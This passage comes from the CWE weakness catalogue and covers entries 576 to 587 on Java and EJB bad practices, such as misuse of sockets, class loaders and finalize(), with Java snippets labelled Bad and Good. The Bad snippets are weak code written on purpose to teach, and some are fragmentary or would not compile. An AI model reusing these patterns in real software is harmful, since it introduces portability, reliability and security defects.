Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-576: EJB Bad Practices: Use of Java I/O

Weakness ID : 576
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1524

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Do not use Java I/O when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

Example Language: Java *(Bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
  private Document interestRateXMLDocument = null;
  private File interestRateFile = null;
  public InterestRateBean() {
        try {
            /* get XML document from the local filesystem */
            interestRateFile = new File(Constants.INTEREST_RATE_FILE);
            if (interestRateFile.exists())
            {
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
                DocumentBuilder db = dbf.newDocumentBuilder();
                interestRateXMLDocument = db.parse(interestRateFile);
            }
        } catch (IOException ex) {...}
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXML(points);
    }
    /* member function to retrieve interest rate from XML document on the local file system */
    private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem.

An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function getInterestRateFromXMLParser uses an XML parser API to retrieve the interest rates.

Example Language: Java *(Good)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    public InterestRateBean() {
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXMLParser(points);
    }
    /* member function to retrieve interest rate from XML document using an XML parser API */
    private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID : 577
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using sockets.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	573	Improper Following of Specification by Caller	1298

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not use Sockets when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

Example Language: Java *(Bad)*

```
@Stateless
public class StockSymbolBean implements StockSymbolRemote {
  ServerSocket serverSocket = null;
  Socket clientSocket = null;
  public StockSymbolBean() {
    try {
      serverSocket = new ServerSocket(Constants.SOCKET_PORT);
    } catch (IOException ex) {...}
    try {
      clientSocket = serverSocket.accept();
    } catch (IOException e) {...}
  }
  public String getStockSymbol(String name) {...}
  public BigDecimal getStockValue(String symbol) {...}
  private void processClientInputFromSocket() {...}
}
```

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

Example Language: Java *(Bad)*

```
@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {
  ServerSocket serverSocket = null;
  Socket clientSocket = null;
  boolean listening = false;
  public StockSymbolBean() {
    try {
      serverSocket = new ServerSocket(Constants.SOCKET_PORT);
    } catch (IOException ex) {...}
    listening = true;
    while(listening) {
      start();
    }
  }
  public String getStockSymbol(String name) {...}
  public BigDecimal getStockValue(String symbol) {...}
  public void run() {
    try {
      clientSocket = serverSocket.accept();
    } catch (IOException e) {...}
    ...
  }
}
```

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-578: EJB Bad Practices: Use of Class Loader

Weakness ID : 578
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using the class loader.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	573	Improper Following of Specification by Caller	1298

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Execute Unauthorized Code or Commands Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not use the Class Loader when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

Example Language: Java *(Bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
  private Document interestRateXMLDocument = null;
  public InterestRateBean() {
    try {
      // get XML document from the local filesystem as an input stream
      // using the ClassLoader for this class
      ClassLoader loader = this.getClass().getClassLoader();
      InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);
  DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    interestRateXMLDocument = db.parse(interestRateFile);
  } catch (IOException ex) {...}
}
  public BigDecimal getInterestRate(Integer points) {
    return getInterestRateFromXML(points);
  }
  /* member function to retrieve interest rate from XML document on the local file system */
  private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

Example 2:

An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

Example Language: Java *(Bad)*

```
@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
  public LoaderSessionBean() {
    try {
      ClassLoader loader = new CustomClassLoader();
      Class c = loader.loadClass("someClass");
      Object obj = c.newInstance();
      /* perform some task that uses the new class instance member variables or functions */
      ...
    } catch (Exception ex) {...}
  }
  public class CustomClassLoader extends ClassLoader {
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

Weakness ID : 579
Structure : Simple
Abstraction : Variant

Description

The product stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

Extended Description

A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	573	Improper Following of Specification by Caller	1298

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2432

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

In order for session replication to work, the values the product stores as attributes in the session must implement the Serializable interface.

Demonstrative Examples

Example 1:

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

Example Language: Java *(Bad)*

```
public class DataGlob {
  String globName;
  String globValue;
  public void addToSession(HttpSession session) {
    session.setAttribute("glob", this);
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419

Nature	Type	ID	Name	V	Page
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation

CWE-580: clone() Method Without super.clone()

Weakness ID : 580
Structure : Simple
Abstraction : Variant

Description

The product contains a clone() method that does not call super.clone() to obtain the new object.

Extended Description

All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1298
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1454

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	2316

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Call super.clone() within your clone() method, when obtaining a new object.

Phase: Implementation

In some cases, you can eliminate the clone method altogether and use copy constructors.

Demonstrative Examples

Example 1:

The following two classes demonstrate a bug introduced by not calling super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.

Example Language: Java *(Bad)*

```
public class Kibitzer {
  public Object clone() throws CloneNotSupportedException {
    Object returnMe = new Kibitzer();
    ...
  }
}
public class FancyKibitzer extends Kibitzer{
  public Object clone() throws CloneNotSupportedException {
    Object returnMe = super.clone();
    ...
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2421
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

Weakness ID : 581
Structure : Simple
Abstraction : Variant

Description

The product does not maintain equal hashcodes for equal objects.

Extended Description

Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1530
ChildOf	C	573	Improper Following of Specification by Caller	1298

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Other *If this invariant is not upheld, it is likely to cause trouble if objects of this class are stored in a collection. If the objects of the class in question are used as a key in a Hashtable or if they are inserted into a Map or Set, it is critical that equal objects have equal hashcodes.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Both Equals() and Hashcode() should be defined.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2364
MemberOf	C	977	SFP Secondary Cluster: Design	888	2407
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2447
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET09-J		Classes that define an equals() method must also define a hashCode() method

CWE-582: Array Declared Public, Final, and Static

Weakness ID : 582
Structure : Simple
Abstraction : Variant

Description

The product declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.

Extended Description

Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	668	Exposure of Resource to Wrong Sphere	1469

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Background Details

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

In most situations the array should be made private.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly declares an array public, final and static.

Example Language: Java *(Bad)*

```
public final class urlTool extends Applet {
  public final static URL[] urls;
  ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2364
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2421
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected Access Points

CWE-583: finalize() Method Declared Public

Weakness ID : 583
Structure : Simple
Abstraction : Variant

Description

The product violates secure coding principles for mobile code by declaring a finalize() method public.

Extended Description

A product should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke a finalize() method because it is declared with public access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1469

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Alter Execution Logic Execute Unauthorized Code or Commands Modify Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

Demonstrative Examples

Example 1:

The following Java Applet code mistakenly declares a public finalize() method.

Example Language: Java *(Bad)*

```
public final class urlTool extends Applet {
  public void finalize() {
    ...
  }
  ...
}
```

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2364
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2421

Nature	Type	ID	Name	V	Page
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2447
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP28		Unexpected access points

CWE-584: Return Inside Finally Block

Weakness ID : 584
Structure : Simple
Abstraction : Base

Description

The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	705	Incorrect Control Flow Scoping	1542

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2322

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.

Demonstrative Examples

Example 1:

In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.

Example Language: Java *(Bad)*

```
try {
  ...
  throw IllegalArgumentException();
}
finally {
  return r;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2365
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2399
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2448
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR04-J		Do not complete abruptly from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
Software Fault Patterns	SFP6		Incorrect Exception Behavior

CWE-585: Empty Synchronized Block

Weakness ID : 585
Structure : Simple
Abstraction : Variant

Description

The product contains an empty synchronized block.

Extended Description

An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1071	Empty Code Block	1910

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other *An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.

Demonstrative Examples

Example 1:

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

Example Language: Java *(Bad)*

```
synchronized(this) { }
```

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

Example Language: *(Good)*

```
public void setID(int ID){
  synchronized(this){
    this.ID = ID;
  }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	888	2412
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP21		Multiple locks/unlocks

References

[REF-478]"Intrinsic Locks and Synchronization (in Java)". < https://docs.oracle.com/javase/tutorial/essential/concurrency/locksync.html >.2023-04-07.

CWE-586: Explicit Call to Finalize()

Weakness ID : 586
Structure : Simple
Abstraction : Base

Description

The product makes an explicit call to the finalize() method from outside the finalizer.

Extended Description

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1076	Insufficient Adherence to Expected Conventions	1916

Nature	Type	ID	Name	Page
PeerOf	C	675	Multiple Operations on Resource in Single-Operation Context	1487

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: Testing

Do not make explicit calls to finalize(). Use static analysis tools to spot such instances.

Demonstrative Examples

Example 1:

The following code fragment calls finalize() explicitly:

Example Language: Java *(Bad)*

```
// time to clean up
widget.finalize();
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2364
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2447

Nature	Type	ID	Name	V	Page
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP3		Use of an improper API

CWE-587: Assignment of a Fixed Address to a Pointer

Weakness ID : 587
Structure : Simple
Abstraction : Variant

Description

The product sets a pointer to a specific address other than NULL or 0.

Extended Description

Using a fixed address is not portable, because that address will probably not be valid in all environments or platforms.

Relationships

